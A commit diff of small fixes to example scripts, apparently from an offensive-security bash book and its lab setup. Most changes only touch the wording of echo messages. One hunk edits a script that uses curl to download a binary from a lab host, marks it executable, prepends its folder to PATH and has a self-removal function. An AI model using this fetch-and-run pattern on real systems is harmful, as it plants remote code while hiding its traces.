fixes

ch02/case_ip_address_check.sh

@@ -10,6 +10,6 @@ case ${IP_ADDRESS} in
     echo "Network is 10.0.x.x"
   ;;
   *)
-    echo "Could not identify the network."
+    echo "Could not identify the network"
   ;;
 esac

ch02/check_root_function.sh

@@ -11,7 +11,7 @@ check_if_root(){
 
 is_root=$(check_if_root)
 if [[ "${is_root}" -eq "0" ]]; then
-  echo "user is root!"
+  echo "User is root!"
 else
-  echo "user is not root!"
+  echo "User is not root!"
 fi

ch02/if_elif.sh

@@ -3,15 +3,15 @@ USER_INPUT="${1}"
 
 # Check if the user provided an argument
 if [[ -z "${USER_INPUT}" ]]; then
-  echo you must provide an argument!
+  echo "You must provide an argument!"
   exit 1
 fi
 
 # Check if the argument is of type file or directory
 if [[ -f "${USER_INPUT}" ]]; then
- echo "${USER_INPUT} is a file"
+ echo "${USER_INPUT} is a file."
 elif [[ -d "${USER_INPUT}" ]]; then
-  echo "${USER_INPUT} is a directory"
+  echo "${USER_INPUT} is a directory."
 else
-  echo "${USER_INPUT} is not a file or a directory"
+  echo "${USER_INPUT} is not a file or a directory."
 fi

ch02/integer_comparison.sh

@@ -3,7 +3,7 @@ VARIABLE_ONE="10"
 VARIABLE_TWO="20"
 
 if [[ "${VARIABLE_ONE}" -gt "${VARIABLE_TWO}" ]]; then
-  echo "${VARIABLE_ONE} is greater than ${VARIABLE_TWO}"
+  echo "${VARIABLE_ONE} is greater than ${VARIABLE_TWO}."
 else
-  echo "${VARIABLE_ONE} is less than ${VARIABLE_TWO}"
+  echo "${VARIABLE_ONE} is less than ${VARIABLE_TWO}."
 fi

ch08/home_dir_access_check.sh

@@ -1,7 +1,7 @@
 #!/bin/bash
 
 if [[ ! -r "/etc/passwd" ]]; then
-    echo "/etc/passwd" must exist and be readable to be able to continue.
+    echo "/etc/passwd must exist and be readable to be able to continue."
     exit 1
 fi
 

ch12/binary_name_rotation.sh

@@ -10,7 +10,7 @@ self_removal(){
 }
 
 if command -v curl 1> /dev/null; then
-  curl -s "http://172.16.10.1/system_sleep" -o "${FULL_BIN_PATH}"
+  curl -s "http://172.16.10.1:8080/system_sleep" -o "${FULL_BIN_PATH}"
   if [[ -s "${FULL_BIN_PATH}" ]]; then
     chmod +x "${FULL_BIN_PATH}"
     export PATH="${WORK_DIR}:${PATH}"

lab/init.sh

@@ -104,7 +104,7 @@ install_docker(){
     apt update -y 
     apt install docker-ce docker-ce-cli containerd.io -y
     systemctl enable docker --now
-    usermod -aG docker "${USER}"
+    usermod -aG docker "${SUDO_USER}"
   fi
 }
 
@@ -199,4 +199,4 @@ chown -R "${SUDO_USER}:${SUDO_USER}" "${BHB_TOOLS_FOLDER}"
 
 echo "Lab build completed." | tee -a "${BHB_INSTALL_LOG}"
 
-echo "NOTE: Start a new terminal session for shell changes to take effect."
+echo "NOTE: Log out and log back in for shell changes to take effect"